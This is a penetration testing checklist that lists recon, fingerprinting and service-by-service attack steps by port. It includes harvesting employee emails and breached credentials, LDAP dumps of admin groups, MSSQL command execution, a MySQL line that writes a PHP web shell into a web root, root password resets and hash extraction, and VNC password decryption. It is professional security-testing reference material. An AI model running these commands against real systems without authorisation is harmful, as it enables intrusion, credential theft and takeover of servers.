



Infrastructure Penetration Testing Checklist

A Full Checklist for Infrastructure Penetration Testing

Prepared by: Purab Parihar

▼ Contact Me!!

- LinkedIn : <https://www.linkedin.com/in/purabparihar/>
- Twitter : https://twitter.com/purab_parihar

▼ Recon

• External Infrastructure

- ☐ Performing Subdomain Scans
- ☐ Performing recon on Company's LinkedIn Page
 - ☐ Listing Employees from Company Profile
 - ☐ Extracting email addresss from Employees's Profile for Identifying email formats
- ☐ Google Dorking on Email's Found / Guessed Patterns
- ☐ Gathering Breached Credentials
- ☐ Performing Port Scan on IPs
- ☐ Using Shodan on Public Facing IPs

• Internal Infrastructure

- ☐ Using Responder in Analyze Mode
- ☐ Using Wireshark for monitoring Network Traffic
- ☐ Performing Netowrk Range Scan

▼ Fingerprinting

- ☐ Performing Whols on IPs
- ☐ Performing ASN Discovery
- ☐ Gathering DNS Records
- ☐ Bruteforce Hostnames with DNS
- ☐ Google Dorking
 - ☐ Site: [Domain]

- ☐ filetype:"xls | xlsx | doc | docx | ppt | pptx | pdf" site:[Domain] "FOUO" | "NOFORN" | "Confidential"
- ☐ filetype:xml inurl:sitemap
- ☐ and many more
- ☐ Reverse DNS Lookup

▼ Mapping Network

- ☐ Identitfying Live Hosts
- ☐ Port Scan
 - ☐ Service Scan
 - ☐ Version Scan
 - ☐ Scanning with NSE/Scripts
 - ☐ OS Scan
 - ☐ UDP as well as TCP Scan
- ☐ SNMP Enumeration
 - ☐ snmpcheck
 - ☐ snmpwalk
- ☐ NetBIOS Enumeration
 - ☐ nbtscan
 - ☐ nmblookup
- ☐ Visualizing Network on MindMaps

▼ Vulnerability Assessment and PT

▼ FTP (Port 21)

- ☐ Grabbing Banner for Versions
- ☐ Anonymous Login
- ☐ FTP Bounce
- ☐ Default or Guessable Passwords

▼ SSH (Port 22)

- ☐ Grabbing Banner for Versions
- ☐ Null Password
- ☐ Default or Guessable Passwords

▼ SMTP (Port 25)

- ☐ Grabbing Banner for Versions
- ☐ Connect with Telnet
- ☐ SMTP Relay
- ☐ User Enumeration

▼ DNS (Port 53)

- ☐ DNS Hostname Bruteforce
- ☐ DNS Reverse Lookup
- ☐ DNS Service Record Enumeration
- ☐ DNS Service Discovery
- ☐ DNS Zone Transfer

▼ Jenkins

- ☐ Pages accessible without authentication like
 - ☐ /people

- ☐ /asynchPeople
- ☐ /securityRealm/user/admin/search/index?q=
- ☐ Vulnerable Versions Exploitation
 - ☐ https://github.com/gquere/pwn_jenkins
- ▼ IIS
 - ☐ Enumerating .config files
 - ☐ Trace.AXD enabled debugging
 - ☐ Path Traversal
 - ☐ Source Code Disclosure
 - ☐ Downloading DLLs
 - ☐ System.Web.Routing.dll
 - ☐ System.Web.Optimization.dll
 - ☐ System.Web.Mvc.dll
 - ☐ System.Web.Mvc.Ajax.dll
 - ☐ System.Web.Mvc.Html.dll
 - ☐ Microsoft IIS tilde character “~” Vulnerability
 - ☐ Basic Authentication bypass (IIS 7.5) by trying to access
 - ☐ /admin:\$i30:\$INDEX_ALLOCATION/admin.php
 - ☐ /admin::\$INDEX_ALLOCATION/admin.php
 - ☐ Grabbing Banner for Version
 - ☐ Directory BruteForce
- ▼ Kerberos (Port 88)
 - ☐ Active Directory Attacks (We're not going to cover this here)
 - ☐ Bruteforcing Usernames with nmap
 - ☐ krb5-enum-users.nse
- ▼ RPC (Port 111)
 - ☐ Enumerating Basic Information using rpcinfo
 - ☐ Connect to RPC with RPC Client
- ▼ Rusersd (Port 1026)
 - ☐ Enumerating users with rusers
- ▼ NFS (2049)
 - ☐ Checking for Accessible mounts
 - ☐ showmount -e [IP]
 - ☐ Mounting
 - ☐ mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
- ▼ LDAP (Port 389)
 - ☐ Listing public information
 - ☐ nmap -n -sV --script "ldap* and not brute" <IP>
 - ☐ Checking Null Credentials
 - ☐ ldapsearch -x -h <IP> -D " " -w " " -b "DC=<1_SUBDOMAIN>,DC=<TDL>"
 - ☐ Extracting Users
 - ☐ ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"

- ☐ Extracting Computers
 - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting my info
 - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting Domain Admins
 - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting Enterprise Admins
 - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting Administrators:
 - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting Remote Desktop Groups
 - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ For graphical Interface, jxplorer can be used
- ▼ SMB (Port 445)
 - ☐ Anonymous Credentials
 - ☐ Grabbing Banner for Versions
 - ☐ Null Sessions
 - ☐ Exploitation with RPCClient
 - ☐ List user :enumdomusers
 - ☐ Get user details: queryuser <0xrid>
 - ☐ Get user groups: queryusergroups <0xrid>
 - ☐ GET SID of a user: lookupnames <username>
 - ☐ Get users aliases: queryuseraliases [builtin|domain] <sid>
 - ☐ List groups: enumdomgroups
 - ☐ Get group details: querygroup <0xrid>
 - ☐ Get group members: querygroupmem <0xrid>
 - ☐ List alias: enumalsgroups <builtin|domain>
 - ☐ Get members: queryaliasmem builtin|domain <0xrid>
 - ☐ List domains: enumdomains
 - ☐ Get SID: Isaquery
 - ☐ Domain info: querydominfo
 - ☐ Find SIDs by name: lookupnames <username>
 - ☐ Find more SIDs: Isaenumsid
 - ☐ RID cycling (check more SIDs): lookupsids <sid>
 - ☐ Listing Shares
 - ☐ Null Session
 - ☐ `smbclient --no-pass -L //<IP>`
 - ☐ Listing Shares with Credentials

- ☐ smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP>
- ☐ Mount share
 - ☐ Without Credential
 - ☐ mount -t cifs //x.x.x.x/share /mnt/share
 - ☐ With Credential
 - ☐ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
- ☐ SMB Relay attack
- ▼ MSSRPC (Port 135)
 - ☐ Endpoint Mapper Service Discovery
 - ☐ Hidden DCERPC Server Discovery
 - ☐ Remote Management Interface Discovery
 - ☐ DCERPC TCP Service Auditor
- ▼ RTSP (Port 554 & 8554)
 - ☐ Gathering RTSP Methods
 - ☐ RTSP Url Bruteforce
 - ☐ Camerader can be used to access RTSP
- ▼ MSSQL (Port 1433)
 - ☐ Banner Grabbing
 - ☐ Basic Information Gathering
 - ☐ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
 - ☐ Execute Commands with MSSQL
 - ☐ Authenticated
 - ☐ crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "id"
 - ☐ UnAuthenticated
 - ☐ If xp_cmdshell is enabled, we can execute commands without authentication
 - ☐ MSSQL Privilege Escalation
 - ☐ auxiliary/admin/mssql/mssql_escalate_dbowner
 - ☐ auxiliary/admin/mssql/mssql_escalate_execute_as
- ▼ MySQL (Port 3306)
 - ☐ Enumerating with nmap
 - ☐ nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
 - ☐ Banner Grabbing
 - ☐ Basic Commands
 - ☐ Enumerating Privileges
 - ☐ select grantee, table_schema, privilege_type FROM schema_privileges;
 - ☐ Enumerating File Privileges
 - ☐ select user,file_priv from mysql.user where user='root';
 - ☐ Enumerating Current User
 - ☐ select user();

- ☐ Writing File
 - ☐ `select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/shell.php';`
- ☐ Reading file
 - ☐ `select load_file('/home/purabparihar/read_file.txt');`
- ☐ User password change
 - ☐ `UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';`
 - ☐ `UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';`
- ☐ Extracting credentials
 - ☐ `mysql -u root --password=<PASSWORD> -e "SELECT User,Host,authentication_string FROM mysql.user;"`
- ▼ **Postgresql (Port 5432)**
 - ☐ Banner Grabbing
 - ☐ DB Name Flag Injection
- ▼ **VNC (Port 5900)**
 - ☐ UnAuth VNC Access
 - ☐ VNC Password
 - ☐ Password Location (Password will be encrypted)
 - ☐ `~/.vnc/passwd`
 - ☐ Decrypting Password
 - ☐ `vncpwd.exe [encrypted password]`
- ▼ **Redis (Port 6379)**
 - ☐ Banner Grabbing
 - ☐ Try accessing redis without credentials
 - ☐ Enumeration after login
 - ☐ Extracting information
 - ☐ Extracting Connected Clients
 - ☐ `client list`
 - ☐ Extracting configuration
 - ☐ `CONFIG GET *`
 - ☐ Dumping Database
 - ☐ `SELECT [database with keys]`
 - ☐ `KEYS *`
 - ☐ `GET [KEY]`
- ▼ **PJL (Port 9100)**
 - ☐ PRET can be used for interacting with PJL
 - ☐ <https://github.com/RUB-NDS/PRET>
- ▼ **Memcache (Port 11211)**
 - ☐ Extracting Stats
 - ☐ `memcstat --servers=127.0.0.1`
 - ☐ Extracting Memcdump
 - ☐ `memccat --servers=127.0.0.1 <item1> <item2> <item3>`